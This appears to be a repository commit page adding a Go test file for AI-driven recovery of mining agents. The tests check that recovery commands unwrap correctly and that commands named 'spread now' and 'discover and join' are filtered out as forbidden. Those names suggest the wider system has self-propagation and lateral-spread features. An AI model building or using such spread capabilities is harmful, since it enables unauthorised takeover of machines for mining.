Add mining self-surgery for on-host recovery when AI control detects stalls.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
This commit is contained in:
42
server/internal/ai/surgical_commands_mining_test.go
Normal file
42
server/internal/ai/surgical_commands_mining_test.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package ai
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestExpandMiningSelfSurgeryUnwrapsActions(t *testing.T) {
|
||||
out := ExpandMiningSelfSurgery(Command{
|
||||
Type: CmdMiningSelfSurgery,
|
||||
Args: map[string]interface{}{
|
||||
"actions": []interface{}{"container_restart", "randomx_restart"},
|
||||
},
|
||||
})
|
||||
if len(out) != 2 {
|
||||
t.Fatalf("len=%d want 2", len(out))
|
||||
}
|
||||
if out[0].Type != CmdContainerRestart || out[1].Type != CmdRandomXRestart {
|
||||
t.Fatalf("types=%v %v", out[0].Type, out[1].Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFilterMiningSelfSurgeryCommandsDropsSpread(t *testing.T) {
|
||||
cmds := FilterMiningSelfSurgeryCommands([]Command{
|
||||
{Type: CmdDiscoverAndJoin},
|
||||
{Type: CmdContainerRestart},
|
||||
{Type: CmdSpreadNow},
|
||||
{Type: CmdRandomXRestart},
|
||||
})
|
||||
if len(cmds) != 2 {
|
||||
t.Fatalf("len=%d want 2", len(cmds))
|
||||
}
|
||||
if cmds[0].Type != CmdContainerRestart || cmds[1].Type != CmdRandomXRestart {
|
||||
t.Fatalf("cmds=%v", cmds)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsForbiddenSpreadCommand(t *testing.T) {
|
||||
if !IsForbiddenSpreadCommand("discover_and_join") {
|
||||
t.Fatal("expected forbidden")
|
||||
}
|
||||
if IsForbiddenSpreadCommand("container_restart") {
|
||||
t.Fatal("mining fix should not be forbidden")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user